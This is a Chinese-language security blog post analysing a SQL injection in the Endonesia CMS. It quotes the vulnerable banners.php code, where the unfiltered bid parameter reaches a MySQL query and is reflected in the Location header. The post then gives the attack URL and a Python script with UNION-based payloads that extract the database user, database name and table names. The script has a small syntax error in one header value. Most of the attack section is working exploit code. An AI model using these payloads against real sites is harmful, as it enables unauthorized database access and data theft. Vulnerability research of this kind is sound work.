前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >国外某CMS注入漏洞简单分析附payload

国外某CMS注入漏洞简单分析附payload

作者头像
用户5878089
发布2019-07-25 16:40:27
发布2019-07-25 16:40:27
1.6K10
代码可运行
举报
运行总次数:0
代码可运行

前言,继续闲聊

最近在某个平台上把17年所有的CVE详细信息都爬下来了,一个文档34M多,放星球上了。也想借此机会做一个漏洞库,长期做下去,欢迎有志同道合,有分享精神的的伙伴一起,资源共享。

一直都想做一个漏洞库,给团队作为工具使用,同时也作为团队学习的工具。

漏洞环境介绍

CMS的名称是Endonesia

CMS的作用是一个简单的新闻网站,没有什么框架,审计起来比较简单。

下载的网址是:https://endonesia.sourceforge.io/

复现的环境是:kail+apache2+php7+mysql

安装的方式:直接按照install.txt中的步骤傻瓜式安装,然后配置。

漏洞分析

没有使用工具,直接静态分析发现了一个注入点,带回显的注入点。

漏洞的位置在于banners.php 第73行:

代码语言:javascript
代码运行次数:0
复制
function clickbanner() {
include "dbconnect.php";
$bid =$_REQUEST['bid'];
$bresult = mysqli_query($dbconnect,"select clickurl from banner where bid=$bid");
list($clickurl) = mysqli_fetch_row($bresult);
mysqli_query($dbconnect,"update banner set clicks=clicks+1 where bid=$bid");
mysqli_free_result($bresult);
Header("Location: $clickurl");
}

逻辑也比较简单:

请求一个bid参数,没有经过任何过滤,直接带入查询,然后返回的是一个 $clickurl,直接变成location参数返回给用户,但是在浏览器上不好测试,因为默认就认识location的值是一个url直接跳转了,可以在burpsuit上测试,然后寻找调用的方式:

代码语言:javascript
代码运行次数:0
复制
$op = isset($_REQUEST['op']) ? $_REQUEST['op'] : "";

switch($op) {

    case "click":
    clickbanner();
    break;

    case "clientlogin":
    clientlogin();
    break;

    case "Ok":
    bannerstats();
    break;

所以攻击的url就是:

代码语言:javascript
代码运行次数:0
复制
http://192.168.43.35/banners.php?op=click&bid=

然后写一个脚本优雅的测试:

代码语言:javascript
代码运行次数:0
复制
import requests
url = 'http://192.168.43.35/banners.php?op=click&bid='
def bool(url):
    headers = {
    'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding':'gzip, deflate',
    'Connection':'keep-alive',
    'Upgrade-Insecure-Requests':
    }
    try:
        s = requests.Session()
        req = requests.get(url,headers = headers,allow_redirects=False)
        if req.headers['location']!='':
            # print 
            return req.headers['location']
        else:
            return False
    except Exception ,e:
        print Exception
        return False
payload = {}
payload['user'] = url+'-1 and 1=1 union select  user() from information_schema.tables'
payload['db'] = url+'-1 and 1=1 union select  database() from information_schema.tables'
payload['tables'] = url+'-1 and 1=1 union select  group_concat(table_name) from information_schema.tables where table_schema = database()'
for k in payload:
    print k,':',bool(payload[k])

在这CMS里面,bid注入点还有很多,还有些CSRF,xss,代码注入,不再分析。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-03-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 无级安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言,继续闲聊
    • 漏洞环境介绍
    • 漏洞分析
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档